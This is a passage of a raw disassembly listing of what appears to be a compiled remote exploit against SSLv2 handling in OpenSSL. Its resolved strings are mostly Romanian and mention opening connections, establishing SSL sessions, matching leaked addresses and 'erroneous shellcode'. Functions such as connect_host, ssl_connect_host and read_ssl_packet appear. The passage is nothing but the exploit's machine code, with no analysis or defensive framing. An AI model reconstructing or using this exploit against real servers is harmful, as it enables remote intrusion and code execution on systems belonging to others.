(%eax,%edx,1) Possible reference to string: "%s Are Mai Multe Adrese Selectatzi Una Din Ele" 08049b63 push $0x804c180 08049b68 call 08048d8c <_init+0x1f8> 08049b6d add $0x10,%esp 08049b70 movl $0x0,0xffffffe8(%ebp) 08049b77 nop Referenced from jump at 08049bc6 ; 08049b78 mov 0xfffffff8(%ebp),%ecx 08049b7b mov 0xffffffe8(%ebp),%eax 08049b7e imul $0x4,%eax,%edx 08049b81 mov 0x10(%ecx),%eax 08049b84 cmpl $0x0,(%eax,%edx,1) 08049b88 jne 08049b94 08049b8a sub $0xc,%esp 08049b8d push $0x1 08049b8f call 08048dfc <_init+0x268> Referenced from jump at 08049b88 ; 08049b94 sub $0x8,%esp 08049b97 sub $0x4,%esp 08049b9a mov 0xfffffff8(%ebp),%ecx 08049b9d mov 0xffffffe8(%ebp),%eax 08049ba0 imul $0x4,%eax,%edx 08049ba3 mov 0x10(%ecx),%eax 08049ba6 pushl (%eax,%edx,1) 08049ba9 call 08048c7c <_init+0xe8> 08049bae add $0x8,%esp 08049bb1 mov %eax,%eax 08049bb3 push %eax Possible reference to string: "%s" 08049bb4 push $0x804bd16 08049bb9 call 08048d8c <_init+0x1f8> 08049bbe add $0x10,%esp 08049bc1 lea 0xffffffe8(%ebp),%eax 08049bc4 incl (%eax) 08049bc6 jmp 08049b78 Referenced from jump at 08049b50 ; 08049bc8 mov 0xfffffff8(%ebp),%eax 08049bcb mov 0x10(%eax),%eax 08049bce mov (%eax),%eax 08049bd0 mov (%eax),%eax 08049bd2 mov %eax,0xfffffff4(%ebp) 08049bd5 incl 0x804e4cc 08049bdb mov 0x804e4cc,%eax 08049be0 cmp 0x8(%ebp),%eax 08049be3 jge 08049bf5 08049be5 sub $0xc,%esp 08049be8 mov 0xc(%ebp),%eax 08049beb pushl (%eax) 08049bed call 080497d8 08049bf2 add $0x10,%esp Referenced from jump at 08049be3 ; 08049bf5 sub $0xc,%esp 08049bf8 push $0x31337 08049bfd call 08048dcc <_init+0x238> 08049c02 add $0x10,%esp 08049c05 cmpl $0x0,0x804e900 08049c0c je 08049c24 08049c0e sub $0x8,%esp 08049c11 pushl 0x804e900 Possible reference to string: " Deschid %d Conexiuni" 08049c17 push $0x804c1b0 08049c1c call 08048d8c <_init+0x1f8> 08049c21 add $0x10,%esp Referenced from jump at 08049c0c ; 08049c24 movl $0x0,0xffffffe8(%ebp) 08049c2b nop Referenced from jump at 08049c68 ; 08049c2c mov 0xffffffe8(%ebp),%eax 08049c2f cmp 0x804e900,%eax 08049c35 jl 08049c3c 08049c37 jmp 08049c6c 08049c39 lea 0x0(%esi),%esi Referenced from jump at 08049c35 ; 08049c3c sub $0x8,%esp 08049c3f pushl 0xfffffff0(%ebp) 08049c42 pushl 0xfffffff4(%ebp) 08049c45 call 08049fb8 08049c4a add $0x10,%esp 08049c4d mov %eax,%ecx 08049c4f mov 0xffffffe8(%ebp),%eax 08049c52 mov %eax,%eax 08049c54 lea 0x0(,%eax,4),%edx 08049c5b mov $0x804e500,%eax 08049c60 mov %ecx,(%edx,%eax,1) 08049c63 lea 0xffffffe8(%ebp),%eax 08049c66 incl (%eax) 08049c68 jmp 08049c2c 08049c6a mov %esi,%esi Referenced from jump at 08049c37 ; 08049eea ; 08049c6c sub $0xc,%esp Possible reference to string: " Stabilesc Conexiunea Ssl" 08049c6f push $0x804c1c7 08049c74 call 08048d8c <_init+0x1f8> 08049c79 add $0x10,%esp 08049c7c movl $0x0,0xffffffe8(%ebp) 08049c83 nop Referenced from jump at 08049cbb ; 08049c84 cmpl $0x3,0xffffffe8(%ebp) 08049c88 jle 08049c8c 08049c8a jmp 08049cc0 Referenced from jump at 08049c88 ; 08049c8c sub $0x4,%esp 08049c8f pushl 0xffffffec(%ebp) 08049c92 pushl 0xfffffff0(%ebp) 08049c95 pushl 0xfffffff4(%ebp) 08049c98 call 0804a074 08049c9d add $0x10,%esp 08049ca0 mov %eax,%ecx 08049ca2 mov 0xffffffe8(%ebp),%eax 08049ca5 mov %eax,%eax 08049ca7 lea 0x0(,%eax,4),%edx 08049cae mov $0x804e904,%eax 08049cb3 mov %ecx,(%edx,%eax,1) 08049cb6 lea 0xffffffe8(%ebp),%eax 08049cb9 incl (%eax) 08049cbb jmp 08049c84 08049cbd lea 0x0(%esi),%esi Referenced from jump at 08049c8a ; 08049cc0 sub $0xc,%esp Possible reference to string: ": Incercare De Deschidere..." 08049cc3 push $0x804c1e4 08049cc8 call 08048d8c <_init+0x1f8> 08049ccd add $0x10,%esp 08049cd0 movl $0x0,0xffffffe8(%ebp) 08049cd7 nop Referenced from jump at 08049d37 ; 08049cd8 cmpl $0x2,0xffffffe8(%ebp) 08049cdc jle 08049ce0 08049cde jmp 08049d3c Referenced from jump at 08049cdc ; 08049ce0 sub $0x8,%esp 08049ce3 mov 0xfffffffc(%ebp),%eax 08049ce6 pushl 0x4(%eax) 08049ce9 mov 0xffffffe8(%ebp),%eax 08049cec mov %eax,%eax 08049cee lea 0x0(,%eax,4),%edx 08049cf5 mov $0x804e904,%eax 08049cfa pushl (%edx,%eax,1) 08049cfd call 0804930c 08049d02 add $0x10,%esp 08049d05 sub $0x4,%esp 08049d08 mov 0xffffffe8(%ebp),%eax 08049d0b mov %eax,%eax 08049d0d lea 0x0(,%eax,4),%edx 08049d14 mov $0x804e904,%eax 08049d19 mov (%edx,%eax,1),%eax 08049d1c pushl 0x484(%eax) 08049d22 pushl 0xffffffe8(%ebp) Possible reference to string: " ssl%d : 0x%x" 08049d25 push $0x804c202 08049d2a call 08048d8c <_init+0x1f8> 08049d2f add $0x10,%esp 08049d32 lea 0xffffffe8(%ebp),%eax 08049d35 incl (%eax) 08049d37 jmp 08049cd8 08049d39 lea 0x0(%esi),%esi Referenced from jump at 08049cde ; 08049d3c sub $0xc,%esp Possible reference to string: "" 08049d3f push $0x804bfa0 08049d44 call 08048d8c <_init+0x1f8> 08049d49 add $0x10,%esp 08049d4c movl $0x1,0xffffffdc(%ebp) 08049d53 movl $0x1,0xffffffe8(%ebp) 08049d5a mov %esi,%esi Referenced from jump at 08049da5 ; 08049d5c cmpl $0x2,0xffffffe8(%ebp) 08049d60 jle 08049d64 08049d62 jmp 08049da8 Referenced from jump at 08049d60 ; 08049d64 mov 0xffffffe8(%ebp),%eax 08049d67 mov %eax,%eax 08049d69 shl $0x2,%eax 08049d6c lea 0xfffffffc(%eax),%edx 08049d6f mov $0x804e904,%eax 08049d74 mov (%edx,%eax,1),%ecx 08049d77 mov 0xffffffe8(%ebp),%eax 08049d7a mov %eax,%eax 08049d7c lea 0x0(,%eax,4),%edx 08049d83 mov $0x804e904,%eax 08049d88 mov (%edx,%eax,1),%edx 08049d8b mov 0x484(%ecx),%eax 08049d91 cmp 0x484(%edx),%eax 08049d97 je 08049da0 08049d99 movl $0x0,0xffffffdc(%ebp) Referenced from jump at 08049d97 ; 08049da0 lea 0xffffffe8(%ebp),%eax 08049da3 incl (%eax) 08049da5 jmp 08049d5c 08049da7 nop Referenced from jump at 08049d62 ; 08049da8 cmpl $0x0,0xffffffdc(%ebp) 08049dac jne 08049dc0 08049dae sub $0xc,%esp Possible reference to string: "* Adresele Nu Se Potrivesc." 08049db1 push $0x804c212 08049db6 call 08048d8c <_init+0x1f8> 08049dbb add $0x10,%esp 08049dbe jmp 08049e24 Referenced from jump at 08049dac ; 08049dc0 mov 0x804e904,%eax 08049dc5 pushl 0x484(%eax) 08049dcb mov 0x804e904,%eax 08049dd0 pushl 0x480(%eax) 08049dd6 pushl 0xfffffffc(%ebp) 08049dd9 pushl 0x804e910 08049ddf call 08049418 08049de4 add $0x10,%esp 08049de7 mov %eax,%eax 08049de9 test %eax,%eax 08049deb je 08049e08 08049ded sub $0xc,%esp Possible reference to string: "* Conexiune Inchisă." 08049df0 push $0x804c230 08049df5 call 08048d8c <_init+0x1f8> 08049dfa add $0x10,%esp 08049dfd sub $0xc,%esp 08049e00 push $0x0 08049e02 call 08048dfc <_init+0x268> 08049e07 nop Referenced from jump at 08049deb ; 08049e08 sub $0xc,%esp Possible reference to string: "* ShellCode Eronat." 08049e0b push $0x804c246 08049e10 call 08048d8c <_init+0x1f8> 08049e15 add $0x10,%esp 08049e18 sub $0xc,%esp 08049e1b push $0x0 08049e1d call 08048dfc <_init+0x268> 08049e22 mov %esi,%esi Referenced from jump at 08049dbe ; 08049e24 movl $0x0,0xffffffe8(%ebp) 08049e2b nop Referenced from jump at 08049e6f ; 08049e2c cmpl $0x3,0xffffffe8(%ebp) 08049e30 jle 08049e34 08049e32 jmp 08049e74 Referenced from jump at 08049e30 ; 08049e34 mov 0xffffffe8(%ebp),%eax 08049e37 mov %eax,%eax 08049e39 lea 0x0(,%eax,4),%edx 08049e40 mov $0x804e904,%eax 08049e45 cmpl $0x0,(%edx,%eax,1) 08049e49 je 08049e6a 08049e4b sub $0xc,%esp 08049e4e mov 0xffffffe8(%ebp),%eax 08049e51 mov %eax,%eax 08049e53 lea 0x0(,%eax,4),%edx 08049e5a mov $0x804e904,%eax 08049e5f pushl (%edx,%eax,1) 08049e62 call 0804a128 08049e67 add $0x10,%esp Referenced from jump at 08049e49 ; 08049e6a lea 0xffffffe8(%ebp),%eax 08049e6d incl (%eax) 08049e6f jmp 08049e2c 08049e71 lea 0x0(%esi),%esi Referenced from jump at 08049e32 ; 08049e74 cmpl $0x0,0x804e8fc 08049e7b jne 08049e88 08049e7d sub $0xc,%esp 08049e80 push $0x0 08049e82 call 08048dfc <_init+0x268> 08049e87 nop Referenced from jump at 08049e7b ; 08049e88 mov 0x804e900,%eax 08049e8d add $0xa,%eax 08049e90 cmp 0x804e8fc,%eax 08049e96 jle 08049eb4 08049e98 sub $0xc,%esp Possible reference to string: "Număr De Conexiuni Atins.Trecem La Alt IP." 08049e9b push $0x804c260 08049ea0 call 08048d8c <_init+0x1f8> 08049ea5 add $0x10,%esp 08049ea8 sub $0xc,%esp 08049eab push $0x0 08049ead call 08048dfc <_init+0x268> 08049eb2 mov %esi,%esi Referenced from jump at 08049e96 ; 08049eb4 sub $0xc,%esp 08049eb7 push $0x7a120 08049ebc call 08048bbc <_init+0x28> 08049ec1 add $0x10,%esp 08049ec4 sub $0x8,%esp 08049ec7 mov 0x804e900,%eax 08049ecc add $0xa,%eax 08049ecf push %eax Possible reference to string: ": Deschid %d Conexiuni" 08049ed0 push $0x804c28c 08049ed5 call 08048d8c <_init+0x1f8> 08049eda add $0x10,%esp 08049edd movl $0x0,0xffffffe8(%ebp) Referenced from jump at 08049f34 ; 08049ee4 cmpl $0x9,0xffffffe8(%ebp) 08049ee8 jle 08049ef0 08049eea jmp 08049c6c 08049eef nop Referenced from jump at 08049ee8 ; 08049ef0 sub $0x8,%esp 08049ef3 pushl 0xfffffff0(%ebp) 08049ef6 pushl 0xfffffff4(%ebp) 08049ef9 call 08049fb8 08049efe add $0x10,%esp 08049f01 mov %eax,%ecx 08049f03 mov 0x804e900,%eax 08049f08 mov %eax,%eax 08049f0a lea 0x0(,%eax,4),%edx 08049f11 mov $0x804e500,%eax 08049f16 mov %ecx,(%edx,%eax,1) 08049f19 incl 0x804e900 08049f1f sub $0xc,%esp 08049f22 push $0x2710 08049f27 call 08048bbc <_init+0x28> 08049f2c add $0x10,%esp 08049f2f lea 0xffffffe8(%ebp),%eax 08049f32 incl (%eax) 08049f34 jmp 08049ee4 08049f36 mov %esi,%esi ---- Function : get_local_port ---- Referenced from call at 0804943a ; 08049f38 push %ebp 08049f39 mov %esp,%ebp 08049f3b sub $0x28,%esp 08049f3e movl $0x10,0xffffffe4(%ebp) 08049f45 sub $0x4,%esp 08049f48 lea 0xffffffe4(%ebp),%eax 08049f4b push %eax 08049f4c lea 0xffffffe8(%ebp),%eax 08049f4f push %eax 08049f50 pushl 0x8(%ebp) 08049f53 call 08048dac <_init+0x218> 08049f58 add $0x10,%esp 08049f5b mov %eax,%eax 08049f5d test %eax,%eax 08049f5f jns 08049f9c 08049f61 sub $0x8,%esp 08049f64 sub $0x4,%esp 08049f67 sub $0x4,%esp 08049f6a call 08048c6c <_init+0xd8> 08049f6f add $0x4,%esp 08049f72 mov %eax,%eax 08049f74 mov %eax,%eax 08049f76 pushl (%eax) 08049f78 call 08048c3c <_init+0xa8> 08049f7d add $0x8,%esp 08049f80 mov %eax,%eax 08049f82 push %eax Possible reference to string: "Can't get local port: %s" 08049f83 push $0x804c3a0 08049f88 call 08048d8c <_init+0x1f8> 08049f8d add $0x10,%esp 08049f90 sub $0xc,%esp 08049f93 push $0x1 08049f95 call 08048dfc <_init+0x268> 08049f9a mov %esi,%esi Referenced from jump at 08049f5f ; 08049f9c movzwl 0xffffffea(%ebp),%eax 08049fa0 sub $0xc,%esp 08049fa3 push %eax 08049fa4 call 08048cfc <_init+0x168> 08049fa9 add $0x10,%esp 08049fac mov %eax,%eax 08049fae mov %eax,%eax 08049fb0 movzwl %ax,%eax 08049fb3 mov %eax,%eax 08049fb5 leave 08049fb6 ret 08049fb7 nop ---- Function : connect_host ---- Referenced from call at 08049c45 ; 08049ef9 ; 0804a112 ; 08049fb8 push %ebp 08049fb9 mov %esp,%ebp 08049fbb sub $0x28,%esp 08049fbe movw $0x2,0xffffffe8(%ebp) 08049fc4 mov 0x8(%ebp),%eax 08049fc7 mov %eax,0xffffffec(%ebp) 08049fca movzwl 0xc(%ebp),%eax 08049fce sub $0xc,%esp 08049fd1 push %eax 08049fd2 call 08048e4c <_init+0x2b8> 08049fd7 add $0x10,%esp 08049fda mov %eax,%eax 08049fdc mov %eax,%eax 08049fde mov %ax,0xffffffea(%ebp) 08049fe2 sub $0x4,%esp 08049fe5 push $0x0 08049fe7 push $0x1 08049fe9 push $0x2 08049feb call 08048e7c <_init+0x2e8> 08049ff0 add $0x10,%esp 08049ff3 mov %eax,%eax 08049ff5 mov %eax,0xffffffe4(%ebp) 08049ff8 cmpl $0x0,0xffffffe4(%ebp) 08049ffc jg 0804a018 08049ffe sub $0xc,%esp Possible reference to string: "Could not create a socket" 0804a001 push $0x804c3ba 0804a006 call 08048d8c <_init+0x1f8> 0804a00b add $0x10,%esp 0804a00e sub $0xc,%esp 0804a011 push $0x1 0804a013 call 08048dfc <_init+0x268> Referenced from jump at 08049ffc ; 0804a018 sub $0x4,%esp 0804a01b push $0x10 0804a01d lea 0xffffffe8(%ebp),%eax 0804a020 push %eax 0804a021 pushl 0xffffffe4(%ebp) 0804a024 call 08048e5c <_init+0x2c8> 0804a029 add $0x10,%esp 0804a02c mov %eax,%eax 0804a02e test %eax,%eax 0804a030 jns 0804a06c 0804a032 sub $0x8,%esp 0804a035 sub $0x4,%esp 0804a038 sub $0x4,%esp 0804a03b call 08048c6c <_init+0xd8> 0804a040 add $0x4,%esp 0804a043 mov %eax,%eax 0804a045 mov %eax,%eax 0804a047 pushl (%eax) 0804a049 call 08048c3c <_init+0xa8> 0804a04e add $0x8,%esp 0804a051 mov %eax,%eax 0804a053 push %eax Possible reference to string: "Connection failed: %s" 0804a054 push $0x804c3d5 0804a059 call 08048d8c <_init+0x1f8> 0804a05e add $0x10,%esp 0804a061 sub $0xc,%esp 0804a064 push $0x1 0804a066 call 08048dfc <_init+0x268> 0804a06b nop Referenced from jump at 0804a030 ; 0804a06c mov 0xffffffe4(%ebp),%eax 0804a06f mov %eax,%eax 0804a071 leave 0804a072 ret 0804a073 nop ---- Function : ssl_connect_host ---- Referenced from call at 08049c98 ; 0804a074 push %ebp 0804a075 mov %esp,%ebp 0804a077 sub $0x8,%esp 0804a07a cmpl $0x0,0x10(%ebp) 0804a07e je 0804a090 0804a080 sub $0xc,%esp Possible reference to string: " -> ssl_connect_host" 0804a083 push $0x804c3ec 0804a088 call 08048d8c <_init+0x1f8> 0804a08d add $0x10,%esp Referenced from jump at 0804a07e ; 0804a090 sub $0xc,%esp 0804a093 push $0x488 0804a098 call 08048c8c <_init+0xf8> 0804a09d add $0x10,%esp 0804a0a0 mov %eax,%eax 0804a0a2 mov %eax,0xfffffffc(%ebp) 0804a0a5 mov 0xfffffffc(%ebp),%eax 0804a0a8 test %eax,%eax 0804a0aa jne 0804a0c8 0804a0ac sub $0xc,%esp Possible reference to string: "Can't allocate memory" 0804a0af push $0x804c402 0804a0b4 call 08048d8c <_init+0x1f8> 0804a0b9 add $0x10,%esp 0804a0bc sub $0xc,%esp 0804a0bf push $0x1 0804a0c1 call 08048dfc <_init+0x268> 0804a0c6 mov %esi,%esi Referenced from jump at 0804a0aa ; 0804a0c8 mov 0xfffffffc(%ebp),%eax 0804a0cb movl $0x0,0x74(%eax) 0804a0d2 mov 0xfffffffc(%ebp),%eax 0804a0d5 movl $0x0,0x70(%eax) 0804a0dc mov 0xfffffffc(%ebp),%eax 0804a0df movl $0x0,0x6c(%eax) 0804a0e6 mov 0xfffffffc(%ebp),%edx 0804a0e9 mov 0x10(%ebp),%eax 0804a0ec mov %eax,0x78(%edx) 0804a0ef mov 0xfffffffc(%ebp),%eax 0804a0f2 movl $0x0,0x480(%eax) 0804a0fc mov 0xfffffffc(%ebp),%eax 0804a0ff movl $0x0,0x484(%eax) 0804a109 sub $0x8,%esp 0804a10c pushl 0xc(%ebp) 0804a10f pushl 0x8(%ebp) 0804a112 call 08049fb8 0804a117 add $0x10,%esp 0804a11a mov %eax,%edx 0804a11c mov 0xfffffffc(%ebp),%eax 0804a11f mov %edx,(%eax) 0804a121 mov 0xfffffffc(%ebp),%eax 0804a124 mov %eax,%eax 0804a126 leave 0804a127 ret ---- Function : ssl_close ---- Referenced from call at 0804975c ; 08049e62 ; 0804a128 push %ebp 0804a129 mov %esp,%ebp 0804a12b sub $0x8,%esp 0804a12e sub $0xc,%esp 0804a131 mov 0x8(%ebp),%eax 0804a134 pushl (%eax) 0804a136 call 08048c0c <_init+0x78> 0804a13b add $0x10,%esp 0804a13e sub $0xc,%esp 0804a141 pushl 0x8(%ebp) 0804a144 call 08048e2c <_init+0x298> 0804a149 add $0x10,%esp 0804a14c mov $0x0,%eax 0804a151 leave 0804a152 ret 0804a153 nop ---- Function : ssl_error ---- Referenced from call at 0804a44f ; 0804a529 ; 0804a154 push %ebp 0804a155 mov %esp,%ebp 0804a157 sub $0x8,%esp 0804a15a mov 0x8(%ebp),%eax 0804a15d movl $0x3,0x7c(%eax) 0804a164 cmpl $0x6,0xc(%ebp) 0804a168 ja 0804a20c 0804a16e mov 0xc(%ebp),%eax 0804a171 mov %eax,%eax 0804a173 shl $0x2,%eax 0804a176 mov 0x804c590(%eax),%eax 0804a17c jmp *%eax 0804a17e mov %esi,%esi 0804a180 sub $0x8,%esp Possible reference to string: "Server error: SSL2_PE_UNDEFINED_ERROR (0x00)" 0804a183 push $0x804c420 0804a188 mov 0x8(%ebp),%eax 0804a18b sub $0xffffff80,%eax 0804a18e push %eax 0804a18f call 08048e6c <_init+0x2d8> 0804a194 add $0x10,%esp 0804a197 jmp 0804a226 0804a19c sub $0x8,%esp Possible reference to string: "Server error: SSL2_PE_NO_CIPHER (0x01)" 0804a19f push $0x804c460 0804a1a4 mov 0x8(%ebp),%eax 0804a1a7 sub $0xffffff80,%eax 0804a1aa push %eax 0804a1ab call 08048e6c <_init+0x2d8> 0804a1b0 add $0x10,%esp 0804a1b3 jmp 0804a226 0804a1b5 lea 0x0(%esi),%esi 0804a1b8 sub $0x8,%esp Possible reference to string: "Server error: SSL2_PE_NO_CERTIFICATE (0x02)" 0804a1bb push $0x804c4a0 0804a1c0 mov 0x8(%ebp),%eax 0804a1c3 sub $0xffffff80,%eax 0804a1c6 push %eax 0804a1c7 call 08048e6c <_init+0x2d8> 0804a1cc add $0x10,%esp 0804a1cf jmp 0804a226 0804a1d1 lea 0x0(%esi),%esi 0804a1d4 sub $0x8,%esp Possible reference to string: "Server error: SSL2_PE_BAD_CERTIFICATE (0x03)" 0804a1d7 push $0x804c4e0 0804a1dc mov 0x8(%ebp),%eax 0804a1df sub $0xffffff80,%eax 0804a1e2 push %eax 0804a1e3 call 08048e6c <_init+0x2d8> 0804a1e8 add $0x10,%esp 0804a1eb jmp 0804a226 0804a1ed lea 0x0(%esi),%esi 0804a1f0 sub $0x8,%esp Possible reference to string: "Server error: SSL2_PE_UNSUPPORTED_CERTIFICATE_TYPE (0x06)" 0804a1f3 push $0x804c520 0804a1f8 mov 0x8(%ebp),%eax 0804a1fb sub $0xffffff80,%eax 0804a1fe push %eax 0804a1ff call 08048e6c <_init+0x2d8> 0804a204 add $0x10,%esp 0804a207 jmp 0804a226 0804a209 lea 0x0(%esi),%esi Referenced from jump at 0804a168 ; 0804a20c sub $0x4,%esp 0804a20f pushl 0xc(%ebp) Possible reference to string: "Unrecognized server error: 0x%02x" 0804a212 push $0x804c560 0804a217 mov 0x8(%ebp),%eax 0804a21a sub $0xffffff80,%eax 0804a21d push %eax 0804a21e call 08048e6c <_init+0x2d8> 0804a223 add $0x10,%esp Referenced from jump at 0804a197 ; 0804a1b3 ; 0804a1cf ; 0804a1eb ; 0804a207 ; 0804a226 mov $0x0,%eax 0804a22b leave 0804a22c ret 0804a22d lea 0x0(%esi),%esi ---- Function : read_data ---- Referenced from call at 0804a2cf ; 0804a343 ; 0804a3ce ; 0804a230 push %ebp 0804a231 mov %esp,%ebp 0804a233 sub $0x8,%esp 0804a236 mov 0x10(%ebp),%eax 0804a239 mov %eax,0xfffffff8(%ebp) Referenced from jump at 0804a2b0 ; 0804a23c sub $0x4,%esp 0804a23f pushl 0xfffffff8(%ebp) 0804a242 pushl 0xc(%ebp) 0804a245 pushl 0x8(%ebp) 0804a248 call 08048ebc <_init+0x328> 0804a24d add $0x10,%esp 0804a250 mov %eax,%eax 0804a252 mov %eax,0xfffffffc(%ebp) 0804a255 cmpl $0x0,0xfffffffc(%ebp) 0804a259 jns 0804a294 0804a25b sub $0x8,%esp 0804a25e sub $0x4,%esp 0804a261 sub $0x4,%esp 0804a264 call 08048c6c <_init+0xd8> 0804a269 add $0x4,%esp 0804a26c mov %eax,%eax 0804a26e mov %eax,%eax 0804a270 pushl (%eax) 0804a272 call 08048c3c <_init+0xa8> 0804a277 add $0x8,%esp 0804a27a mov %eax,%eax 0804a27c push %eax Possible reference to string: "Error in read: %s" 0804a27d push $0x804c5ac 0804a282 call 08048d8c <_init+0x1f8> 0804a287 add $0x10,%esp 0804a28a sub $0xc,%esp 0804a28d push $0x1 0804a28f call 08048dfc <_init+0x268> Referenced from jump at 0804a259 ; 0804a294 cmpl $0x0,0xfffffffc(%ebp) 0804a298 jne 0804a2a4 0804a29a mov $0x0,%eax 0804a29f jmp 0804a2b7 0804a2a1 lea 0x0(%esi),%esi Referenced from jump at 0804a298 ; 0804a2a4 mov 0xfffffffc(%ebp),%edx 0804a2a7 lea 0xfffffff8(%ebp),%eax 0804a2aa sub %edx,(%eax) 0804a2ac cmpl $0x0,0xfffffff8(%ebp) 0804a2b0 jg 0804a23c 0804a2b2 mov 0x10(%ebp),%eax 0804a2b5 mov %eax,%eax Referenced from jump at 0804a29f ; 0804a2b7 leave 0804a2b8 ret 0804a2b9 lea 0x0(%esi),%esi ---- Function : read_ssl_packet ---- Referenced from call at 0804a85f ; 0804b09f ; 0804b293 ; 0804b42b ; 0804a2bc push %ebp 0804a2bd mov %esp,%ebp 0804a2bf sub $0x8,%esp 0804a2c2 sub $0x4,%esp 0804a2c5 push $0x2 0804a2c7 pushl 0xc(%ebp) 0804a2ca mov 0x8(%ebp),%eax 0804a2cd pushl (%eax) 0804a2cf call 0804a230 0804a2d4 add $0x10,%esp 0804a2d7 mov %eax,%eax 0804a2d9 test %eax,%eax 0804a2db jne 0804a308 0804a2dd mov 0x8(%ebp),%eax 0804a2e0 movl $0x1,0x7c(%eax) 0804a2e7 sub $0x8,%esp Possible reference to string: "Connection unexpectedly closed" 0804a2ea push $0x804c5c0 0804a2ef mov 0x8(%ebp),%eax 0804a2f2 sub $0xffffff80,%eax 0804a2f5 push %eax 0804a2f6 call 08048e6c <_init+0x2d8> 0804a2fb add $0x10,%esp 0804a2fe mov $0x0,%eax 0804a303 jmp 0804a53d Referenced from jump at 0804a2db ; 0804a308 mov 0xc(%ebp),%eax 0804a30b mov (%eax),%al 0804a30d and $0x80,%eax 0804a312 test %al,%al 0804a314 jne 0804a35c 0804a316 mov 0xc(%ebp),%eax 0804a319 mov (%eax),%al 0804a31b and $0x3f,%eax 0804a31e movzbl %al,%eax 0804a321 mov %eax,%edx 0804a323 shl $0x8,%edx 0804a326 mov 0xc(%ebp),%eax 0804a329 inc %eax 0804a32a movzbl (%eax),%eax 0804a32d or %edx,%eax 0804a32f mov %eax,0xfffffffc(%ebp) 0804a332 sub $0x4,%esp 0804a335 push $0x1 0804a337 mov 0xc(%ebp),%eax 0804a33a add $0x2,%eax 0804a33d push %eax 0804a33e mov 0x8(%ebp),%eax 0804a341 pushl (%eax) 0804a343 call 0804a230 0804a348 add $0x10,%esp 0804a34b mov 0xc(%ebp),%eax 0804a34e add $0x2,%eax 0804a351 movzbl (%eax),%eax 0804a354 mov %eax,0xfffffff8(%ebp) 0804a357 jmp 0804a37f 0804a359 lea 0x0(%esi),%esi Referenced from jump at 0804a314 ; 0804a35c mov 0xc(%ebp),%eax 0804a35f mov (%eax),%al 0804a361 and $0x7f,%eax 0804a364 movzbl %al,%eax 0804a367 mov %eax,%edx 0804a369 shl $0x8,%edx 0804a36c mov 0xc(%ebp),%eax 0804a36f inc %eax 0804a370 movzbl (%eax),%eax 0804a373 or %edx,%eax 0804a375 mov %eax,0xfffffffc(%ebp) 0804a378 movl $0x0,0xfffffff8(%ebp) Referenced from jump at 0804a357 ; 0804a37f cmpl $0x0,0xfffffffc(%ebp) 0804a383 je 0804a390 0804a385 mov 0xfffffffc(%ebp),%eax 0804a388 cmp 0x10(%ebp),%eax 0804a38b jg 0804a390 0804a38d jmp 0804a3c0 0804a38f nop Referenced from jump at 0804a383 ; 0804a38b ; 0804a390 mov 0x8(%ebp),%eax 0804a393 movl $0x2,0x7c(%eax) 0804a39a sub $0x4,%esp 0804a39d pushl 0xfffffffc(%ebp) Possible reference to string: "read_ssl_packet: Record length out of range (rec_len = %d)" 0804a3a0 push $0x804c5e0 0804a3a5 mov 0x8(%ebp),%eax 0804a3a8 sub $0xffffff80,%eax 0804a3ab push %eax 0804a3ac call 08048e6c <_init+0x2d8> 0804a3b1 add $0x10,%esp 0804a3b4 mov $0x0,%eax 0804a3b9 jmp 0804a53d 0804a3be mov %esi,%esi Referenced from jump at 0804a38d ; 0804a3c0 sub $0x4,%esp 0804a3c3 pushl 0xfffffffc(%ebp) 0804a3c6 pushl 0xc(%ebp) 0804a3c9 mov 0x8(%ebp),%eax 0804a3cc pushl (%eax) 0804a3ce call 0804a230 0804a3d3 add $0x10,%esp 0804a3d6 mov %eax,%eax 0804a3d8 test %eax,%eax 0804a3da jne 0804a408 0804a3dc mov 0x8(%ebp),%eax 0804a3df movl $0x1,0x7c(%eax) 0804a3e6 sub $0x8,%esp Possible reference to string: "Connection unexpectedly closed" 0804a3e9 push $0x804c5c0 0804a3ee mov 0x8(%ebp),%eax 0804a3f1 sub $0xffffff80,%eax 0804a3f4 push %eax 0804a3f5 call 08048e6c <_init+0x2d8> 0804a3fa add $0x10,%esp 0804a3fd mov $0x0,%eax 0804a402 jmp 0804a53d 0804a407 nop Referenced from jump at 0804a3da ; 0804a408 mov 0x8(%ebp),%eax 0804a40b cmpl $0x0,0x74(%eax) 0804a40f je 0804a4d1 0804a415 mov 0xfffffff8(%ebp),%eax 0804a418 add $0x10,%eax 0804a41b cmp 0xfffffffc(%ebp),%eax 0804a41e jl 0804a494 0804a420 mov 0xc(%ebp),%eax 0804a423 cmpb $0x0,(%eax) 0804a426 jne 0804a464 0804a428 cmpl $0x3,0xfffffffc(%ebp) 0804a42c jne 0804a464 0804a42e sub $0x8,%esp 0804a431 mov 0xc(%ebp),%eax 0804a434 inc %eax 0804a435 movzwl (%eax),%eax 0804a438 sub $0x4,%esp 0804a43b push %eax 0804a43c call 08048cfc <_init+0x168> 0804a441 add $0x8,%esp 0804a444 mov %eax,%eax 0804a446 mov %eax,%eax 0804a448 movzwl %ax,%eax 0804a44b push %eax 0804a44c pushl 0x8(%ebp) 0804a44f call 0804a154 0804a454 add $0x10,%esp 0804a457 mov $0x0,%eax 0804a45c jmp 0804a53d 0804a461 lea 0x0(%esi),%esi Referenced from jump at 0804a426 ; 0804a42c ; 0804a464 mov 0x8(%ebp),%eax 0804a467 movl $0x2,0x7c(%eax) 0804a46e sub $0x4,%esp 0804a471 pushl 0xfffffffc(%ebp) Possible reference to string: "read_ssl_packet: Encrypted message is too short (rec_len = %d)" 0804a474 push $0x804c620 0804a479 mov 0x8(%ebp),%eax 0804a47c sub $0xffffff80,%eax 0804a47f push %eax 0804a480 call 08048e6c <_init+0x2d8> 0804a485 add $0x10,%esp 0804a488 mov $0x0,%eax 0804a48d jmp 0804a53d 0804a492 mov %esi,%esi Referenced from jump at 0804a41e ; 0804a494 pushl 0xc(%ebp) 0804a497 pushl 0xc(%ebp) 0804a49a pushl 0xfffffffc(%ebp) 0804a49d mov 0x8(%ebp),%eax 0804a4a0 pushl 0x64(%eax) 0804a4a3 call 08048cac <_init+0x118> 0804a4a8 add $0x10,%esp 0804a4ab mov 0xfffffff8(%ebp),%edx 0804a4ae mov 0xfffffffc(%ebp),%eax 0804a4b1 sub %edx,%eax 0804a4b3 sub $0x10,%eax 0804a4b6 mov %eax,0xfffffffc(%ebp) 0804a4b9 sub $0x4,%esp 0804a4bc pushl 0xfffffffc(%ebp) 0804a4bf mov 0xc(%ebp),%eax 0804a4c2 add $0x10,%eax 0804a4c5 push %eax 0804a4c6 pushl 0xc(%ebp) 0804a4c9 call 08048c9c <_init+0x108> 0804a4ce add $0x10,%esp Referenced 